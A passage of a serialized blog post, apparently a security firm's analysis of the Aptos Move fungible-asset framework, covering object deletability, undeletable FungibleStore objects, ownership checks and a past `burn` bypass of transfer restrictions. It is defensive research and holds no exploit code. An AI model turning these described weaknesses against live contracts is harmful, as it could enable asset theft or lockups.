children":60411},{"style":393},[60412],{"type":24,"value":60413},"constructor_ref",{"type":19,"tag":168,"props":60415,"children":60416},{"style":212},[60417],{"type":24,"value":60418},"), error",{"type":19,"tag":168,"props":60420,"children":60421},{"style":399},[60422],{"type":24,"value":888},{"type":19,"tag":168,"props":60424,"children":60425},{"style":175},[60426],{"type":24,"value":59859},{"type":19,"tag":168,"props":60428,"children":60429},{"style":212},[60430],{"type":24,"value":60431},"(EOBJECT_IS_DELETABLE));\n",{"type":19,"tag":20,"props":60433,"children":60434},{},[60435,60437,60442,60444,60449,60450,60457],{"type":24,"value":60436},"This object serves as the foundation for ownership tokens in the form of a ",{"type":19,"tag":27,"props":60438,"children":60440},{"className":60439},[],[60441],{"type":24,"value":58996},{"type":24,"value":60443},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":19,"tag":27,"props":60445,"children":60447},{"className":60446},[],[60448],{"type":24,"value":60367},{"type":24,"value":3893},{"type":19,"tag":269,"props":60451,"children":60454},{"href":60452,"rel":60453},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[273],[60455],{"type":24,"value":60456},"lacked this assert",{"type":24,"value":60458},", which we discovered and reported.",{"type":19,"tag":20,"props":60460,"children":60461},{},[60462,60467,60469,60474,60476,60481],{"type":19,"tag":27,"props":60463,"children":60465},{"className":60464},[],[60466],{"type":24,"value":60367},{"type":24,"value":60468}," transfers the ",{"type":19,"tag":27,"props":60470,"children":60472},{"className":60471},[],[60473],{"type":24,"value":59055},{"type":24,"value":60475}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":19,"tag":27,"props":60477,"children":60479},{"className":60478},[],[60480],{"type":24,"value":58996},{"type":24,"value":60482}," can be minted, representing a share of ownership in that object.",{"type":19,"tag":158,"props":60484,"children":60486},{"className":363,"code":60485,"language":362,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n [...]\n): Object\u003CMetadata> {\n [...]\n move_to(metadata_object_signer,\n Metadata {\n name,\n symbol,\n decimals,\n icon_uri,\n project_uri,\n }\n );\n[...]\n}\n",[60487],{"type":19,"tag":27,"props":60488,"children":60489},{"__ignoreMap":7},[60490,60498,60518,60533,60560,60575,60596,60608,60620,60632,60644,60656,60668,60675,60682,60697],{"type":19,"tag":168,"props":60491,"children":60492},{"class":170,"line":171},[60493],{"type":19,"tag":168,"props":60494,"children":60495},{"style":373},[60496],{"type":24,"value":60497},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":19,"tag":168,"props":60499,"children":60500},{"class":170,"line":198},[60501,60505,60509,60514],{"type":19,"tag":168,"props":60502,"children":60503},{"style":393},[60504],{"type":24,"value":59160},{"type":19,"tag":168,"props":60506,"children":60507},{"style":393},[60508],{"type":24,"value":3642},{"type":19,"tag":168,"props":60510,"children":60511},{"style":175},[60512],{"type":24,"value":60513}," add_fungibility",{"type":19,"tag":168,"props":60515,"children":60516},{"style":212},[60517],{"type":24,"value":870},{"type":19,"tag":168,"props":60519,"children":60520},{"class":170,"line":415},[60521,60525,60529],{"type":19,"tag":168,"props":60522,"children":60523},{"style":212},[60524],{"type":24,"value":60203},{"type":19,"tag":168,"props":60526,"children":60527},{"style":399},[60528],{"type":24,"value":7032},{"type":19,"tag":168,"props":60530,"children":60531},{"style":212},[60532],{"type":24,"value":9217},{"type":19,"tag":168,"props":60534,"children":60535},{"class":170,"line":450},[60536,60540,60544,60548,60552,60556],{"type":19,"tag":168,"props":60537,"children":60538},{"style":212},[60539],{"type":24,"value":524},{"type":19,"tag":168,"props":60541,"children":60542},{"style":399},[60543],{"type":24,"value":1922},{"type":19,"tag":168,"props":60545,"children":60546},{"style":825},[60547],{"type":24,"value":59046},{"type":19,"tag":168,"props":60549,"children":60550},{"style":212},[60551],{"type":24,"value":3240},{"type":19,"tag":168,"props":60553,"children":60554},{"style":825},[60555],{"type":24,"value":59055},{"type":19,"tag":168,"props":60557,"children":60558},{"style":212},[60559],{"type":24,"value":4717},{"type":19,"tag":168,"props":60561,"children":60562},{"class":170,"line":560},[60563,60567,60571],{"type":19,"tag":168,"props":60564,"children":60565},{"style":212},[60566],{"type":24,"value":60203},{"type":19,"tag":168,"props":60568,"children":60569},{"style":399},[60570],{"type":24,"value":7032},{"type":19,"tag":168,"props":60572,"children":60573},{"style":212},[60574],{"type":24,"value":9217},{"type":19,"tag":168,"props":60576,"children":60577},{"class":170,"line":666},[60578,60583,60587,60592],{"type":19,"tag":168,"props":60579,"children":60580},{"style":175},[60581],{"type":24,"value":60582}," move_to",{"type":19,"tag":168,"props":60584,"children":60585},{"style":212},[60586],{"type":24,"value":500},{"type":19,"tag":168,"props":60588,"children":60589},{"style":393},[60590],{"type":24,"value":60591},"metadata_object_signer",{"type":19,"tag":168,"props":60593,"children":60594},{"style":212},[60595],{"type":24,"value":915},{"type":19,"tag":168,"props":60597,"children":60598},{"class":170,"line":694},[60599,60604],{"type":19,"tag":168,"props":60600,"children":60601},{"style":825},[60602],{"type":24,"value":60603}," Metadata",{"type":19,"tag":168,"props":60605,"children":60606},{"style":212},[60607],{"type":24,"value":691},{"type":19,"tag":168,"props":60609,"children":60610},{"class":170,"line":707},[60611,60616],{"type":19,"tag":168,"props":60612,"children":60613},{"style":393},[60614],{"type":24,"value":60615}," name",{"type":19,"tag":168,"props":60617,"children":60618},{"style":212},[60619],{"type":24,"value":915},{"type":19,"tag":168,"props":60621,"children":60622},{"class":170,"line":725},[60623,60628],{"type":19,"tag":168,"props":60624,"children":60625},{"style":393},[60626],{"type":24,"value":60627}," symbol",{"type":19,"tag":168,"props":60629,"children":60630},{"style":212},[60631],{"type":24,"value":915},{"type":19,"tag":168,"props":60633,"children":60634},{"class":170,"line":746},[60635,60640],{"type":19,"tag":168,"props":60636,"children":60637},{"style":393},[60638],{"type":24,"value":60639}," decimals",{"type":19,"tag":168,"props":60641,"children":60642},{"style":212},[60643],{"type":24,"value":915},{"type":19,"tag":168,"props":60645,"children":60646},{"class":170,"line":755},[60647,60652],{"type":19,"tag":168,"props":60648,"children":60649},{"style":393},[60650],{"type":24,"value":60651}," icon_uri",{"type":19,"tag":168,"props":60653,"children":60654},{"style":212},[60655],{"type":24,"value":915},{"type":19,"tag":168,"props":60657,"children":60658},{"class":170,"line":1008},[60659,60664],{"type":19,"tag":168,"props":60660,"children":60661},{"style":393},[60662],{"type":24,"value":60663}," project_uri",{"type":19,"tag":168,"props":60665,"children":60666},{"style":212},[60667],{"type":24,"value":915},{"type":19,"tag":168,"props":60669,"children":60670},{"class":170,"line":1025},[60671],{"type":19,"tag":168,"props":60672,"children":60673},{"style":212},[60674],{"type":24,"value":752},{"type":19,"tag":168,"props":60676,"children":60677},{"class":170,"line":1042},[60678],{"type":19,"tag":168,"props":60679,"children":60680},{"style":212},[60681],{"type":24,"value":41135},{"type":19,"tag":168,"props":60683,"children":60684},{"class":170,"line":1055},[60685,60689,60693],{"type":19,"tag":168,"props":60686,"children":60687},{"style":212},[60688],{"type":24,"value":1152},{"type":19,"tag":168,"props":60690,"children":60691},{"style":399},[60692],{"type":24,"value":7032},{"type":19,"tag":168,"props":60694,"children":60695},{"style":212},[60696],{"type":24,"value":9217},{"type":19,"tag":168,"props":60698,"children":60699},{"class":170,"line":1064},[60700],{"type":19,"tag":168,"props":60701,"children":60702},{"style":212},[60703],{"type":24,"value":1326},{"type":19,"tag":16245,"props":60705,"children":60706},{},[],{"type":19,"tag":20,"props":60708,"children":60709},{},[60710,60712,60717,60719,60724],{"type":24,"value":60711},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":19,"tag":27,"props":60713,"children":60715},{"className":60714},[],[60716],{"type":24,"value":59561},{"type":24,"value":60718}," is also an object, and a \"secondary\" ",{"type":19,"tag":27,"props":60720,"children":60722},{"className":60721},[],[60723],{"type":24,"value":59561},{"type":24,"value":60725}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":19,"tag":158,"props":60727,"children":60729},{"className":363,"code":60728,"language":362,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[60730],{"type":19,"tag":27,"props":60731,"children":60732},{"__ignoreMap":7},[60733,60741,60783,60790,60798],{"type":19,"tag":168,"props":60734,"children":60735},{"class":170,"line":171},[60736],{"type":19,"tag":168,"props":60737,"children":60738},{"style":373},[60739],{"type":24,"value":60740},"//Fungible asset\n",{"type":19,"tag":168,"props":60742,"children":60743},{"class":170,"line":198},[60744,60748,60752,60757,60761,60766,60770,60774,60779],{"type":19,"tag":168,"props":60745,"children":60746},{"style":393},[60747],{"type":24,"value":59160},{"type":19,"tag":168,"props":60749,"children":60750},{"style":393},[60751],{"type":24,"value":3642},{"type":19,"tag":168,"props":60753,"children":60754},{"style":175},[60755],{"type":24,"value":60756}," remove_store",{"type":19,"tag":168,"props":60758,"children":60759},{"style":212},[60760],{"type":24,"value":500},{"type":19,"tag":168,"props":60762,"children":60763},{"style":393},[60764],{"type":24,"value":60765},"delete_ref",{"type":19,"tag":168,"props":60767,"children":60768},{"style":399},[60769],{"type":24,"value":1922},{"type":19,"tag":168,"props":60771,"children":60772},{"style":399},[60773],{"type":24,"value":4577},{"type":19,"tag":168,"props":60775,"children":60776},{"style":825},[60777],{"type":24,"value":60778},"DeleteRef",{"type":19,"tag":168,"props":60780,"children":60781},{"style":212},[60782],{"type":24,"value":557},{"type":19,"tag":168,"props":60784,"children":60785},{"class":170,"line":415},[60786],{"type":19,"tag":168,"props":60787,"children":60788},{"emptyLinePlaceholder":14},[60789],{"type":24,"value":1093},{"type":19,"tag":168,"props":60791,"children":60792},{"class":170,"line":450},[60793],{"type":19,"tag":168,"props":60794,"children":60795},{"style":373},[60796],{"type":24,"value":60797},"//Object\n",{"type":19,"tag":168,"props":60799,"children":60800},{"class":170,"line":560},[60801,60805,60809,60814,60818,60823,60827,60832],{"type":19,"tag":168,"props":60802,"children":60803},{"style":393},[60804],{"type":24,"value":59160},{"type":19,"tag":168,"props":60806,"children":60807},{"style":393},[60808],{"type":24,"value":3642},{"type":19,"tag":168,"props":60810,"children":60811},{"style":175},[60812],{"type":24,"value":60813}," delete",{"type":19,"tag":168,"props":60815,"children":60816},{"style":212},[60817],{"type":24,"value":500},{"type":19,"tag":168,"props":60819,"children":60820},{"style":382},[60821],{"type":24,"value":60822},"ref",{"type":19,"tag":168,"props":60824,"children":60825},{"style":399},[60826],{"type":24,"value":1922},{"type":19,"tag":168,"props":60828,"children":60829},{"style":825},[60830],{"type":24,"value":60831}," DeleteRef",{"type":19,"tag":168,"props":60833,"children":60834},{"style":212},[60835],{"type":24,"value":557},{"type":19,"tag":20,"props":60837,"children":60838},{},[60839,60841,60847,60849,60854,60856,60861,60863,60868,60870,60876,60878,60884,60886,60891],{"type":24,"value":60840},"When ",{"type":19,"tag":27,"props":60842,"children":60844},{"className":60843},[],[60845],{"type":24,"value":60846},"object::delete",{"type":24,"value":60848}," removes the ",{"type":19,"tag":27,"props":60850,"children":60852},{"className":60851},[],[60853],{"type":24,"value":46333},{"type":24,"value":60855}," from a ",{"type":19,"tag":27,"props":60857,"children":60859},{"className":60858},[],[60860],{"type":24,"value":59561},{"type":24,"value":60862}," object, the ",{"type":19,"tag":27,"props":60864,"children":60866},{"className":60865},[],[60867],{"type":24,"value":59561},{"type":24,"value":60869}," resource becomes permanently undeletable. This is because ",{"type":19,"tag":27,"props":60871,"children":60873},{"className":60872},[],[60874],{"type":24,"value":60875},"remove_store",{"type":24,"value":60877}," can't create an ",{"type":19,"tag":27,"props":60879,"children":60881},{"className":60880},[],[60882],{"type":24,"value":60883},"Object\u003CFungibleStore>",{"type":24,"value":60885}," without an ",{"type":19,"tag":27,"props":60887,"children":60889},{"className":60888},[],[60890],{"type":24,"value":46333},{"type":24,"value":60892}," underneath, causing the operation to fail.",{"type":19,"tag":158,"props":60894,"children":60896},{"className":363,"code":60895,"language":362,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n [...]\n}\n",[60897],{"type":19,"tag":27,"props":60898,"children":60899},{"__ignoreMap":7},[60900,60955,61007,61022],{"type":19,"tag":168,"props":60901,"children":60902},{"class":170,"line":171},[60903,60907,60911,60915,60919,60923,60927,60931,60935,60939,60943,60947,60951],{"type":19,"tag":168,"props":60904,"children":60905},{"style":393},[60906],{"type":24,"value":59160},{"type":19,"tag":168,"props":60908,"children":60909},{"style":393},[60910],{"type":24,"value":3642},{"type":19,"tag":168,"props":60912,"children":60913},{"style":175},[60914],{"type":24,"value":60756},{"type":19,"tag":168,"props":60916,"children":60917},{"style":212},[60918],{"type":24,"value":500},{"type":19,"tag":168,"props":60920,"children":60921},{"style":393},[60922],{"type":24,"value":60765},{"type":19,"tag":168,"props":60924,"children":60925},{"style":399},[60926],{"type":24,"value":1922},{"type":19,"tag":168,"props":60928,"children":60929},{"style":399},[60930],{"type":24,"value":4577},{"type":19,"tag":168,"props":60932,"children":60933},{"style":825},[60934],{"type":24,"value":60778},{"type":19,"tag":168,"props":60936,"children":60937},{"style":212},[60938],{"type":24,"value":481},{"type":19,"tag":168,"props":60940,"children":60941},{"style":393},[60942],{"type":24,"value":3779},{"type":19,"tag":168,"props":60944,"children":60945},{"style":212},[60946],{"type":24,"value":20488},{"type":19,"tag":168,"props":60948,"children":60949},{"style":399},[60950],{"type":24,"value":7032},{"type":19,"tag":168,"props":60952,"children":60953},{"style":212},[60954],{"type":24,"value":59251},{"type":19,"tag":168,"props":60956,"children":60957},{"class":170,"line":198},[60958,60962,60966,60970,60974,60978,60982,60987,60991,60995,60999,61003],{"type":19,"tag":168,"props":60959,"children":60960},{"style":382},[60961],{"type":24,"value":385},{"type":19,"tag":168,"props":60963,"children":60964},{"style":393},[60965],{"type":24,"value":3265},{"type":19,"tag":168,"props":60967,"children":60968},{"style":399},[60969],{"type":24,"value":402},{"type":19,"tag":168,"props":60971,"children":60972},{"style":399},[60973],{"type":24,"value":4577},{"type":19,"tag":168,"props":60975,"children":60976},{"style":212},[60977],{"type":24,"value":60395},{"type":19,"tag":168,"props":60979,"children":60980},{"style":399},[60981],{"type":24,"value":888},{"type":19,"tag":168,"props":60983,"children":60984},{"style":393},[60985],{"type":24,"value":60986},"object_from_delete_ref",{"type":19,"tag":168,"props":60988,"children":60989},{"style":212},[60990],{"type":24,"value":3240},{"type":19,"tag":168,"props":60992,"children":60993},{"style":825},[60994],{"type":24,"value":59561},{"type":19,"tag":168,"props":60996,"children":60997},{"style":212},[60998],{"type":24,"value":5047},{"type":19,"tag":168,"props":61000,"children":61001},{"style":393},[61002],{"type":24,"value":60765},{"type":19,"tag":168,"props":61004,"children":61005},{"style":212},[61006],{"type":24,"value":1249},{"type":19,"tag":168,"props":61008,"children":61009},{"class":170,"line":415},[61010,61014,61018],{"type":19,"tag":168,"props":61011,"children":61012},{"style":212},[61013],{"type":24,"value":60203},{"type":19,"tag":168,"props":61015,"children":61016},{"style":399},[61017],{"type":24,"value":7032},{"type":19,"tag":168,"props":61019,"children":61020},{"style":212},[61021],{"type":24,"value":9217},{"type":19,"tag":168,"props":61023,"children":61024},{"class":170,"line":450},[61025],{"type":19,"tag":168,"props":61026,"children":61027},{"style":212},[61028],{"type":24,"value":1326},{"type":19,"tag":20,"props":61030,"children":61031},{},[61032,61034,61039,61041,61047,61049,61054],{"type":24,"value":61033},"In addition, such \"deleted\" ",{"type":19,"tag":27,"props":61035,"children":61037},{"className":61036},[],[61038],{"type":24,"value":59561},{"type":24,"value":61040}," objects remain at least partially operable. For instance, ",{"type":19,"tag":27,"props":61042,"children":61044},{"className":61043},[],[61045],{"type":24,"value":61046},"fungible_asset::deposit",{"type":24,"value":61048}," does not check the ",{"type":19,"tag":27,"props":61050,"children":61052},{"className":61051},[],[61053],{"type":24,"value":46333},{"type":24,"value":61055}," existence.",{"type":19,"tag":7050,"props":61057,"children":61059},{"id":61058},"ownership",[61060],{"type":24,"value":61061},"Ownership",{"type":19,"tag":20,"props":61063,"children":61064},{},[61065,61067,61072,61074,61080,61082,61087],{"type":24,"value":61066},"Each object has an owner. Fungible assets rely on the ",{"type":19,"tag":27,"props":61068,"children":61070},{"className":61069},[],[61071],{"type":24,"value":46333},{"type":24,"value":61073}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":19,"tag":27,"props":61075,"children":61077},{"className":61076},[],[61078],{"type":24,"value":61079},"object::owns",{"type":24,"value":61081}," to confirm ownership of the ",{"type":19,"tag":27,"props":61083,"children":61085},{"className":61084},[],[61086],{"type":24,"value":59561},{"type":24,"value":47659},{"type":19,"tag":158,"props":61089,"children":61091},{"className":363,"code":61090,"language":362,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n owner: &signer,\n store: Object\u003CT>,\n abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n [...]\n}\n",[61092],{"type":19,"tag":27,"props":61093,"children":61094},{"__ignoreMap":7},[61095,61143,61167,61194,61214,61242,61310,61325],{"type":19,"tag":168,"props":61096,"children":61097},{"class":170,"line":171},[61098,61102,61106,61110,61114,61118,61123,61127,61131,61135,61139],{"type":19,"tag":168,"props":61099,"children":61100},{"style":175},[61101],{"type":24,"value":59160},{"type":19,"tag":168,"props":61103,"children":61104},{"style":212},[61105],{"type":24,"value":500},{"type":19,"tag":168,"props":61107,"children":61108},{"style":393},[61109],{"type":24,"value":4534},{"type":19,"tag":168,"props":61111,"children":61112},{"style":212},[61113],{"type":24,"value":481},{"type":19,"tag":168,"props":61115,"children":61116},{"style":393},[61117],{"type":24,"value":4543},{"type":19,"tag":168,"props":61119,"children":61120},{"style":393},[61121],{"type":24,"value":61122}," withdraw_sanity_check",{"type":19,"tag":168,"props":61124,"children":61125},{"style":212},[61126],{"type":24,"value":3240},{"type":19,"tag":168,"props":61128,"children":61129},{"style":825},[61130],{"type":24,"value":3422},{"type":19,"tag":168,"props":61132,"children":61133},{"style":399},[61134],{"type":24,"value":1922},{"type":19,"tag":168,"props":61136,"children":61137},{"style":393},[61138],{"type":24,"value":3366},{"type":19,"tag":168,"props":61140,"children":61141},{"style":212},[61142],{"type":24,"value":4024},{"type":19,"tag":168,"props":61144,"children":61145},{"class":170,"line":198},[61146,61151,61155,61159,61163],{"type":19,"tag":168,"props":61147,"children":61148},{"style":393},[61149],{"type":24,"value":61150}," owner",{"type":19,"tag":168,"props":61152,"children":61153},{"style":399},[61154],{"type":24,"value":1922},{"type":19,"tag":168,"props":61156,"children":61157},{"style":399},[61158],{"type":24,"value":4577},{"type":19,"tag":168,"props":61160,"children":61161},{"style":393},[61162],{"type":24,"value":4582},{"type":19,"tag":168,"props":61164,"children":61165},{"style":212},[61166],{"type":24,"value":915},{"type":19,"tag":168,"props":61168,"children":61169},{"class":170,"line":415},[61170,61174,61178,61182,61186,61190],{"type":19,"tag":168,"props":61171,"children":61172},{"style":393},[61173],{"type":24,"value":26884},{"type":19,"tag":168,"props":61175,"children":61176},{"style":399},[61177],{"type":24,"value":1922},{"type":19,"tag":168,"props":61179,"children":61180},{"style":825},[61181],{"type":24,"value":59046},{"type":19,"tag":168,"props":61183,"children":61184},{"style":212},[61185],{"type":24,"value":3240},{"type":19,"tag":168,"props":61187,"children":61188},{"style":825},[61189],{"type":24,"value":3422},{"type":19,"tag":168,"props":61191,"children":61192},{"style":212},[61193],{"type":24,"value":3573},{"type":19,"tag":168,"props":61195,"children":61196},{"class":170,"line":450},[61197,61202,61206,61210],{"type":19,"tag":168,"props":61198,"children":61199},{"style":393},[61200],{"type":24,"value":61201}," abort_on_dispatch",{"type":19,"tag":168,"props":61203,"children":61204},{"style":399},[61205],{"type":24,"value":1922},{"type":19,"tag":168,"props":61207,"children":61208},{"style":825},[61209],{"type":24,"value":9495},{"type":19,"tag":168,"props":61211,"children":61212},{"style":212},[61213],{"type":24,"value":915},{"type":19,"tag":168,"props":61215,"children":61216},{"class":170,"line":560},[61217,61221,61225,61229,61233,61238],{"type":19,"tag":168,"props":61218,"children":61219},{"style":212},[61220],{"type":24,"value":481},{"type":19,"tag":168,"props":61222,"children":61223},{"style":393},[61224],{"type":24,"value":3779},{"type":19,"tag":168,"props":61226,"children":61227},{"style":825},[61228],{"type":24,"value":59581},{"type":19,"tag":168,"props":61230,"children":61231},{"style":212},[61232],{"type":24,"value":471},{"type":19,"tag":168,"props":61234,"children":61235},{"style":825},[61236],{"type":24,"value":61237},"DispatchFunctionStore",{"type":19,"tag":168,"props":61239,"children":61240},{"style":212},[61241],{"type":24,"value":691},{"type":19,"tag":168,"props":61243,"children":61244},{"class":170,"line":666},[61245,61249,61254,61258,61263,61267,61271,61275,61279,61283,61287,61291,61296,61300,61305],{"type":19,"tag":168,"props":61246,"children":61247},{"style":175},[61248],{"type":24,"value":59829},{"type":19,"tag":168,"props":61250,"children":61251},{"style":212},[61252],{"type":24,"value":61253},"(object",{"type":19,"tag":168,"props":61255,"children":61256},{"style":399},[61257],{"type":24,"value":888},{"type":19,"tag":168,"props":61259,"children":61260},{"style":175},[61261],{"type":24,"value":61262},"owns",{"type":19,"tag":168,"props":61264,"children":61265},{"style":212},[61266],{"type":24,"value":500},{"type":19,"tag":168,"props":61268,"children":61269},{"style":393},[61270],{"type":24,"value":3375},{"type":19,"tag":168,"props":61272,"children":61273},{"style":212},[61274],{"type":24,"value":10381},{"type":19,"tag":168,"props":61276,"children":61277},{"style":399},[61278],{"type":24,"value":888},{"type":19,"tag":168,"props":61280,"children":61281},{"style":175},[61282],{"type":24,"value":4645},{"type":19,"tag":168,"props":61284,"children":61285},{"style":212},[61286],{"type":24,"value":500},{"type":19,"tag":168,"props":61288,"children":61289},{"style":393},[61290],{"type":24,"value":13057},{"type":19,"tag":168,"props":61292,"children":61293},{"style":212},[61294],{"type":24,"value":61295},")), error",{"type":19,"tag":168,"props":61297,"children":61298},{"style":399},[61299],{"type":24,"value":888},{"type":19,"tag":168,"props":61301,"children":61302},{"style":175},[61303],{"type":24,"value":61304},"permission_denied",{"type":19,"tag":168,"props":61306,"children":61307},{"style":212},[61308],{"type":24,"value":61309},"(ENOT_STORE_OWNER));\n",{"type":19,"tag":168,"props":61311,"children":61312},{"class":170,"line":694},[61313,61317,61321],{"type":19,"tag":168,"props":61314,"children":61315},{"style":212},[61316],{"type":24,"value":60203},{"type":19,"tag":168,"props":61318,"children":61319},{"style":399},[61320],{"type":24,"value":7032},{"type":19,"tag":168,"props":61322,"children":61323},{"style":212},[61324],{"type":24,"value":9217},{"type":19,"tag":168,"props":61326,"children":61327},{"class":170,"line":707},[61328],{"type":19,"tag":168,"props":61329,"children":61330},{"style":212},[61331],{"type":24,"value":1326},{"type":19,"tag":20,"props":61333,"children":61334},{},[61335,61337,61342,61344,61350,61352,61358],{"type":24,"value":61336},"The thing to note is that defining ownership with ",{"type":19,"tag":27,"props":61338,"children":61340},{"className":61339},[],[61341],{"type":24,"value":61079},{"type":24,"value":61343}," can be tricky. The ",{"type":19,"tag":27,"props":61345,"children":61347},{"className":61346},[],[61348],{"type":24,"value":61349},"burn",{"type":24,"value":61351}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":19,"tag":27,"props":61353,"children":61355},{"className":61354},[],[61356],{"type":24,"value":61357},"BURN_ADDRESS",{"type":24,"value":61359}," while bypassing transfer restrictions:",{"type":19,"tag":158,"props":61361,"children":61363},{"className":363,"code":61362,"language":362,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n let original_owner = signer::address_of(owner);\n assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n let object_addr = object.inner;\n move_to(&create_signer(object_addr), TombStone { original_owner });\n transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[61364],{"type":19,"tag":27,"props":61365,"children":61366},{"__ignoreMap":7},[61367,61464,61505,61555,61584,61634,61655],{"type":19,"tag":168,"props":61368,"children":61369},{"class":170,"line":171},[61370,61374,61378,61382,61387,61391,61395,61399,61403,61407,61411,61415,61419,61423,61427,61431,61435,61439,61443,61447,61451,61455,61460],{"type":19,"tag":168,"props":61371,"children":61372},{"style":393},[61373],{"type":24,"value":59160},{"type":19,"tag":168,"props":61375,"children":61376},{"style":393},[61377],{"type":24,"value":60127},{"type":19,"tag":168,"props":61379,"children":61380},{"style":393},[61381],{"type":24,"value":3642},{"type":19,"tag":168,"props":61383,"children":61384},{"style":393},[61385],{"type":24,"value":61386}," burn",{"type":19,"tag":168,"props":61388,"children":61389},{"style":212},[61390],{"type":24,"value":3240},{"type":19,"tag":168,"props":61392,"children":61393},{"style":825},[61394],{"type":24,"value":3422},{"type":19,"tag":168,"props":61396,"children":61397},{"style":399},[61398],{"type":24,"value":1922},{"type":19,"tag":168,"props":61400,"children":61401},{"style":393},[61402],{"type":24,"value":3366},{"type":19,"tag":168,"props":61404,"children":61405},{"style":212},[61406],{"type":24,"value":5047},{"type":19,"tag":168,"props":61408,"children":61409},{"style":393},[61410],{"type":24,"value":13057},{"type":19,"tag":168,"props":61412,"children":61413},{"style":399},[61414],{"type":24,"value":1922},{"type":19,"tag":168,"props":61416,"children":61417},{"style":399},[61418],{"type":24,"value":4577},{"type":19,"tag":168,"props":61420,"children":61421},{"style":393},[61422],{"type":24,"value":4582},{"type":19,"tag":168,"props":61424,"children":61425},{"style":212},[61426],{"type":24,"value":471},{"type":19,"tag":168,"props":61428,"children":61429},{"style":393},[61430],{"type":24,"value":60395},{"type":19,"tag":168,"props":61432,"children":61433},{"style":399},[61434],{"type":24,"value":1922},{"type":19,"tag":168,"props":61436,"children":61437},{"style":825},[61438],{"type":24,"value":59046},{"type":19,"tag":168,"props":61440,"children":61441},{"style":212},[61442],{"type":24,"value":3240},{"type":19,"tag":168,"props":61444,"children":61445},{"style":825},[61446],{"type":24,"value":3422},{"type":19,"tag":168,"props":61448,"children":61449},{"style":212},[61450],{"type":24,"value":17901},{"type":19,"tag":168,"props":61452,"children":61453},{"style":393},[61454],{"type":24,"value":3779},{"type":19,"tag":168,"props":61456,"children":61457},{"style":825},[61458],{"type":24,"value":61459}," ObjectCore",{"type":19,"tag":168,"props":61461,"children":61462},{"style":212},[61463],{"type":24,"value":691},{"type":19,"tag":168,"props":61465,"children":61466},{"class":170,"line":198},[61467,61471,61476,61480,61485,61489,61493,61497,61501],{"type":19,"tag":168,"props":61468,"children":61469},{"style":382},[61470],{"type":24,"value":385},{"type":19,"tag":168,"props":61472,"children":61473},{"style":393},[61474],{"type":24,"value":61475}," original_owner",{"type":19,"tag":168,"props":61477,"children":61478},{"style":399},[61479],{"type":24,"value":402},{"type":19,"tag":168,"props":61481,"children":61482},{"style":212},[61483],{"type":24,"value":61484}," signer",{"type":19,"tag":168,"props":61486,"children":61487},{"style":399},[61488],{"type":24,"value":888},{"type":19,"tag":168,"props":61490,"children":61491},{"style":175},[61492],{"type":24,"value":4645},{"type":19,"tag":168,"props":61494,"children":61495},{"style":212},[61496],{"type":24,"value":500},{"type":19,"tag":168,"props":61498,"children":61499},{"style":393},[61500],{"type":24,"value":13057},{"type":19,"tag":168,"props":61502,"children":61503},{"style":212},[61504],{"type":24,"value":1249},{"type":19,"tag":168,"props":61506,"children":61507},{"class":170,"line":415},[61508,61512,61516,61521,61525,61529,61533,61538,61542,61546,61550],{"type":19,"tag":168,"props":61509,"children":61510},{"style":175},[61511],{"type":24,"value":59829},{"type":19,"tag":168,"props":61513,"children":61514},{"style":212},[61515],{"type":24,"value":500},{"type":19,"tag":168,"props":61517,"children":61518},{"style":175},[61519],{"type":24,"value":61520},"is_owner",{"type":19,"tag":168,"props":61522,"children":61523},{"style":212},[61524],{"type":24,"value":500},{"type":19,"tag":168,"props":61526,"children":61527},{"style":393},[61528],{"type":24,"value":60395},{"type":19,"tag":168,"props":61530,"children":61531},{"style":212},[61532],{"type":24,"value":471},{"type":19,"tag":168,"props":61534,"children":61535},{"style":393},[61536],{"type":24,"value":61537},"original_owner",{"type":19,"tag":168,"props":61539,"children":61540},{"style":212},[61541],{"type":24,"value":60418},{"type":19,"tag":168,"props":61543,"children":61544},{"style":399},[61545],{"type":24,"value":888},{"type":19,"tag":168,"props":61547,"children":61548},{"style":175},[61549],{"type":24,"value":61304},{"type":19,"tag":168,"props":61551,"children":61552},{"style":212},[61553],{"type":24,"value":61554},"(ENOT_OBJECT_OWNER));\n",{"type":19,"tag":168,"props":61556,"children":61557},{"class":170,"line":450},[61558,61562,61567,61571,61575,61579],{"type":19,"tag":168,"props":61559,"children":61560},{"style":382},[61561],{"type":24,"value":385},{"type":19,"tag":168,"props":61563,"children":61564},{"style":393},[61565],{"type":24,"value":61566}," 